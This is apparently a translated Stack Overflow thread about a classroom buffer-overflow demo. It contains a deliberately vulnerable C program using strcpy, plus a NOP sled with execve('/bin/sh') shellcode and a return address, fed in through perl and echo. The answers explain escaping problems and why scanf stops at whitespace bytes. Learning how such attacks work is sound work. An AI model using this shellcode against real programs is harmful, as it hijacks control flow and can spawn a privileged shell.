【问题标题】:NOPs instruction storage in memory using \x notation使用 \x 表示法在内存中存储 NOPs 指令
【发布时间】:2026-01-04 16:15:02
【问题描述】:

我试图在我的输入中添加一些 shellcode 来演示导致控制劫持的缓冲区溢出。 这是程序;

int foo(char *mainbuff)
{
char foobuff[128];
strcpy(foobuff, mainbuff);
printf("foobuff new value is %s\n", foobuff);
return 0;
}


int main()
{
char mainbuff[256];
printf("Please enter value of mainbuff\n\n");
scanf("%s", mainbuff);
foo(mainbuff);
printf("Program is exitting normally!!\n\n\n");
return 0;
}

根据我的理解,当我应该将\x90 这个输入提供给我的 c 程序时,它应该接受它并将其作为单个字节存储在内存中。因此,当我将 nops 与 shellcode 和地址连接起来时,我的输入看起来像

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x10\xd2\xff\xff

它应该在数组中存储为单个字节,但编译器添加另一个 \ 不是为了逃避它们并将它们作为 0x3039785c 存储在堆栈内存中,这是 09x\ 的十六进制形式。我存储此字符串的文件也不完全是我存储的字节大小。我在 64 位机器上,但我的程序是使用 gcc 中的 -m32 选项编译的。

那么这里发生了什么?

【问题讨论】:

  • 所以.. 我猜你是把它作为 shell 的输入?改用 python 或 perl 输出,例如 python -c 'print "\x90...." | ./yourprogram
  • @EugeneSh。谢谢,你能看看下面的评论回答并回复你的想法吗?

标签: memory gcc c hex


【解决方案1】:

我应该将此输入提供给我的 c 程序,它应该接受它并将其作为单个字节存储在内存中。

您似乎直接输入\x90 作为输入。这将导致程序(实际上是 stdin)将其视为 4 个连续字符,0x5c, 0x78, 0x39, 0x30,这将按照您提到的 0x3039785c 的顺序排列。

您可以尝试echo -e "\x90\x90..." | ./a.out 通过转义将shellcode 输入标准输入。

【讨论】:

  • 好的,它可以工作,但问题是我的整个字符串没有占用一行,并且一些字符正在下一行的后半部分打印。当我将此字符串输入给程序时,它只在单行上输入字符,而将其他字符留在下一行的另一侧。我的向量是perl -e 'print "\x90"x112 ."\xb8\x32\x2f\x73\x68\xc1\xe8\x08\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\x89\xd0\xb0\x0b\xcd\x80\x10\xd2\xff\xff"'
  • 最后三个字节在第二行的末尾,而第二行的其余部分似乎是空的。最后三个字节做到了�����������������������������������������������������������������������������������������������������������������2/sh�Ph/bin��1�RS���а ���
  • perl -e 'print "\x90"x112 ."\xb8\x32\x2f\x73\x68\xc1\xe8\x08\x50\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\x89\xd0\xb0\x0b\xcd\x80\xd2\xd2\xff\xff"' 发生了同样的事情,因为现在我已经更改了地址
  • @aneela “不在同一行”的问题是由shellcode中的\x0c\x0b造成的,是一个白色字符。然而,正如man scanf 所说, %s 匹配一系列非空白字符,这会在该位置破坏您的 shellcode。
  • 感谢@Gen Chen,这就是我所缺少的。